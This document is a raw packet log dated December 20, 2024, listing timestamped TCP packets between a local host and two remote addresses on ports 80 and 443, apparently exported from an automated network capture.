Dec 20, 2024 09:12:31.341057062 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.341860056 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.341886997 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.341913939 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.341931105 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.342761040 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.342828989 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.342866898 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.342911959 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.343527079 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.343571901 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.343633890 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.343676090 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.344353914 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.344397068 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.344469070 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.344513893 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.345201015 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.345247030 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.345299959 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.345341921 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.346044064 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.346087933 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.346107006 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.346149921 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.346919060 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.347033024 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.347076893 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.347810030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.347918987 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.347965002 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.348617077 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.348660946 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.348702908 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.349486113 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.349530935 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.349562883 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.350300074 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.350344896 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.350404024 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.350446939 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.351161957 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.351265907 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.351310968 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.351994991 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.352138996 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.352185965 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.352859020 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.352904081 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.353001118 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.353722095 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.353768110 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.353861094 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.354657888 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.354702950 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.354796886 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.355748892 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.355792999 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.355889082 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.355932951 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.356283903 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.356379986 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.356421947 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.357086897 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.357208967 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.357260942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.357947111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.357991934 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.358131886 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.358817101 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.358828068 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.358867884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.358897924 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.358941078 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.359659910 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.359703064 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.359766006 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.359813929 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.360476971 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.360519886 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.360603094 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.360647917 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.361341000 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.361385107 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.361449957 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.362230062 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.362278938 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.362322092 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.362504959 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.363018036 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.363061905 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.363106012 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.363147974 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.363897085 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.363948107 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.364011049 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.364051104 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.364736080 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.364777088 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.364820957 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.364867926 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.365564108 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.365607023 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.365673065 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.365717888 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.366456985 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.366580009 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.366622925 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.367281914 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.367399931 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.367444992 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.368134975 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.368179083 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.368216038 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.368966103 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.369012117 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.369064093 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.369827986 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.369888067 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.369945049 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.370698929 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.370749950 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.370776892 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.370817900 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.371532917 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.371583939 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.371663094 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.371705055 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.372380972 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.372488022 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.372510910 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.373250961 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.373303890 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.373342991 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.374085903 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.374131918 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.374203920 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.374903917 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.374949932 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.375010967 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.375107050 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.375710011 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.378834963 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.523575068 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.523644924 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.523725033 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.523961067 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.524070978 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.524120092 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.524789095 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.524838924 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.524878025 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.525645018 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.525692940 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.525768042 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.526518106 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.526566982 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.526639938 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.526827097 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.527534962 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.527651072 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.527700901 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.528184891 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.528209925 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.528261900 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.529027939 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.529074907 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.529155970 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.529887915 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.529938936 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.530016899 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.530734062 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.530781984 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.530816078 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.531609058 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.531658888 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.531724930 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.531773090 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.532419920 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.532536983 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.532587051 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.533282995 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.533394098 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.533441067 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.534110069 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.534153938 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.534198046 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.534821033 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.534972906 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.535018921 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.535104990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.535147905 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.535816908 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.535862923 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.535916090 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.535955906 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.536711931 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.536757946 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.536845922 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.536890030 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.537544012 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.537589073 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.537631989 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.537678957 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.538348913 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.538393021 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.538486958 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.538535118 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.539277077 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.539294004 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.539335966 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.540090084 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.540322065 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.540370941 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.540921926 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.541076899 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.541121960 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.541781902 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.541830063 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.541867018 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.542608023 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.542651892 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.542715073 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.542855024 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.542908907 CET	443	49821	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:31.542999029 CET	49821	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:31.543468952 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.543570042 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.543617010 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.544226885 CET	49821	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:31.544258118 CET	443	49821	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:31.544329882 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.544382095 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.544419050 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.544599056 CET	443	49821	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:31.544651985 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.545164108 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.545207977 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.545253038 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.545777082 CET	49821	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:31.545782089 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.545938969 CET	49821	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:31.545986891 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.545990944 CET	443	49821	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:31.546044111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.546046972 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.546091080 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.546113014 CET	49821	443	192.168.2.4	104.21.67.146
Dec 20, 2024 09:12:31.546128988 CET	443	49821	104.21.67.146	192.168.2.4
Dec 20, 2024 09:12:31.546873093 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.547009945 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.547056913 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.547708988 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.547754049 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.547826052 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.548537970 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.548584938 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.548608065 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.549415112 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.549455881 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.549527884 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.549571037 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.550256968 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.550360918 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.550407887 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.551105022 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.551211119 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.551259041 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.551944017 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.551986933 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.552057028 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.552834988 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.552881956 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.552927017 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.553653955 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.553703070 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.553747892 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.553792000 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.554548025 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.554608107 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.554656029 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.555361986 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.555517912 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.555567980 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.556194067 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.556241035 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.556374073 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.557094097 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.557143927 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.557243109 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.557920933 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.557974100 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.558038950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.558084965 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.558748960 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.558845043 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.558881998 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.558928967 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.559617043 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.559664011 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.559710979 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.559755087 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.560446024 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.560491085 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.560537100 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.560581923 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.561292887 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.561336040 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.561392069 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.561438084 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.562166929 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.562213898 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.562256098 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.562304020 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.562995911 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.563106060 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.563158035 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.563843966 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.563957930 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.564006090 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.564688921 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.564733982 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.564800978 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.565603971 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.565653086 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.565721035 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.566412926 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.566461086 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.566610098 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.566654921 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.567255020 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.567373991 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.567430019 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.568036079 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.569545031 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.715753078 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.715945005 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.716012001 CET	49808	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:31.716185093 CET	80	49808	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:31.716295958 CET	80	49808	31.41.244.11	192.168.2.4
